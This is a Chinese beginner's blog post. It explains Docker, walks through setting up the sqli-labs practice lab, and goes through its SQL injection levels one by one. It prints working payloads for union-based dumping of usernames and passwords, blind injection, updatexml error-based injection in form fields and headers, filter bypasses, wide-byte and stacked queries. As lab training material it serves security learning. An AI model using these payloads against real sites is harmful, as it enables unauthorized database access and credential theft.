docker原理和Sqli-labs的搭建和通关(适合新手观看)

1.docker的解释和搭建

  • docker英语译为码头工人,它是一个与虚拟机有异曲同工之妙的软件。是软件开发与测试的好帮手。在虚拟机中,我们需要自己寻找ISO文件搭建环境。而且搭建的系统可以是可视化的界面。而在docker的集成化中,它相当于把ISO文件,公布出来,供你挑选,你可以直接下载已经搭建好环境的系统,但docker不是可视化的,是基于Linux内核的,因此在使用docker之前,你需要了解一些linux的知识
    你可以参考: 菜鸟教程
  • 你还需要了解了解两个东西
    镜像容器 (images 和 containers)
    前面说过,虚拟机的安装需要ISO文件,docker的心脏,则是images
    二者的本质是一样的。你可以用一个ISO文件创建好多个虚拟机,而docker也可以用images创建很多的 容器
  • 至此,如果你玩过虚拟机,那么你一定对docker也了解的差不多了。 接下来解释一下他的优点,我们可以把docker搭建的环境通过开放端口号直接映射到宿主机,减少很多内存资源的分配。
    就相当于你用虚拟机是去实体店买东西,而docker则是在网上买东西。不能说孰优孰劣,只能说各有千秋。而且运维很喜欢docker。
  • 接下来就是如何搭建docker,详情请参照此博主的文章
    win10家庭版本搭建docker
    搭建成功后就是这个样子
    docker原理和Sqli-labs的搭建和通关(适合新手观看)_第1张图片

2.docker搭建好后注意事项

  • docker是基于linux的,因此如果你在windows上搭建,他的本质是在windows上先搭建一个linux,你的镜像是在这个linux上搭建的

    docker-machine -ls

输入这个命令后,你会发现ip地址为是192.168.99.100,因此,当你在主机上输入127.0.0.1的时候是没有任何回显的
像这个样子(我当时这里卡了好半天,你们一定要记住)
docker原理和Sqli-labs的搭建和通关(适合新手观看)_第2张图片

  • docker的命令行也可以在菜鸟教程中查询,这里就不一一列举了

3.sqli-labs环境搭建

  • docker search sqli-labs
  • docker pull xxx
  • docker run -dt --name sqli -p 80:80 --rm acgpiano/sqli-labs
  • docker exec xxx
  • 注意docker run相当于你使用 ISO搭建了一台虚拟机,这台虚拟机会一直存在,我们可以用 docker ps查询。当你使用了docker stop关掉之后,他还是在的,你使用docker ps -a可查询,之后可以直接docker start,不需要多次使用docker run(我本人一开始就没有搞清)
  • 其他命令行请自学

4.sqli-labs通关

  • 首先,了解一下什么叫sqli注入

  • SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

  • 这里,你又需要一点mysql的基础。同上菜鸟教程去学

  • 每关开始前我们先把sql语句输出 ,这样有利于我们的判断,了解漏洞在哪,从而进行攻击注入方法如下

  • 因为docker是一个阉割的系统,所以没有vim,我们需要现在ubuntu环境下安装vim(先更新数据库,在下载)
    - apt-get update
    - apt-get install vim

  • 用vim编辑器打开php文件所在地方,命令为 vim var/www/html

  • 找到每关对应的index.php.找到sql语句,添加 echo $sql; echo “”

    docker原理和Sqli-labs的搭建和通关(适合新手观看)_第3张图片
    可以在浏览器中下载hackbar,这样可能会方便点,否则,可能对新手不太好

  • 首先是1-4关
    docker原理和Sqli-labs的搭建和通关(适合新手观看)_第4张图片

  • 在导入url 后面输入?id=1可以判断正确

  • 输入?id=1’ 好的,他报错了,报错说明没有对我们的信息进行过滤,这样的话,他就肯定存在漏洞,我们可以注入。 通过sql语句发现 有单引号,我们将他后面的单引号用–+注释掉,让他原本的代码失效,写上我们想看的代码。

  • 之后,用oder by 1,2,3一次次的往试

  • 通过联合查询,一步步将其的内容,推算出来

  • ?id=-1 union select 1,2,group_concat(schema_name)from information_schema.schemata
    ?id=-1 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=‘security’
    ?id=-1 union select 1,2,group_concat(column_name)from information_schema.columns where table_name=‘users’
    ?id=-1 union select 1,2, username from security.users
    ?id=-1 union select 1,2,group_concat(concat_ws(’~’,username,password)) from security.users
    后面几关也无非是闭合的问题,他会把单引号换成括号,双引号,括号单引号,括号双引号,思想一样,我们只要记得,想方设法让代码报错,然后推算其包裹方式

  • 5-10关

  • 报错是最好看出来漏洞的,但是,当他不给你报错的时候,我们只能选择另一种方法,盲注。这几关,只有 you are in

  • http://localhost/Less-5/?id=1’ and left ((select database()),1)=‘s’ – 判断库是security
    http://localhost/Less-5/?id=1’ and left ((select database()),2)=‘se’ –
    burp和select ascii(substr((select database(),1,1))
    http://localhost/Less-5/?id=1’ and length(database())=8–

  • 我们可以通过burp抓包的方式,抓取链接的数据,然后用burp进行暴力破解,猜测数据库。这样的效率就会快很多

  • 11-16关

  • 这几关开始 使用post参数
    docker原理和Sqli-labs的搭建和通关(适合新手观看)_第5张图片

  • 我们先用burp抓包,获得uname=admin&passwd=admin&submit=Submit

  • 之后还是先让他报错。判断闭合方式,uname=ad”)or 1=1#&passwd=admin&submit=Submit

  • 就可以成功

  • 17

  • 这里开始过滤攻击了,我们的单引号,会被转义,我们可以采用一些报错注入的方式,用updatexml函数,使我们想要得到的信息进行回显

  • uname=admin&passwd=ad1312’ and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)#&submit=Submit

  • 同样可以得到结果

  • 18-22

  • 这里是头部信息了,我们需要安装插件,如图所示docker原理和Sqli-labs的搭建和通关(适合新手观看)_第6张图片

  • 'and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e)) and ‘1’='1,使其闭合,报错注入。

  • 23-28

  • 这几关开始陆陆续续ban东西了,开始把我们的部分的恶意输入给过滤掉

  • 一、单行注释还有一个;%00可以用

  • 二、再加一个单引号进行闭合,像这样

    -1’ union select 1,(select username from users where id=1),'3

  • and &&

  • or ||

  • 注释符 ;%00

  • 等等,我们都可以找到替代的

  • 28-30

  • 堆叠注入

  • waf中,会对一条进行过滤,(你过滤一条,我放两条)

  • 31-37 宽字节注入
    宽字节的注入漏洞
    加入%df(想方设法让其报错)
    %aa%5c
    通过url(gbk)进行转码绕过他的限制

  • 38-45

  • 堆叠注入

  • 多条SQL语句是可以一起执行的

  • 46-54

  • 就是把id’换成了sort,使用报错注入

  • 54-65

  • 初始思维,使用联合查询,一步一步获取

  • 不同的是,他开始限制次数了,一般十次五次做不出来的。
    ?id=-1’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘chellenges’–+
    65NDY5I2KL
    ?id=-1’union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ZESKKN8CAB '–+
    id,sessid,secret_M7AP,tryy
    secret_TUSX
    id=-1’union select 1,2,group_concat(secret_WUPZ) from challenges.iud4tqpywl–+
    递归思想,从哪里能拿到东西,这个东西能放在哪里获取想要的东西,
    输入方式是怎么包裹的,怎么绕过防护机制
    如有错误,请指出,第一次写博客,请多担待

你可能感兴趣的:(docker原理和Sqli-labs的搭建和通关(适合新手观看))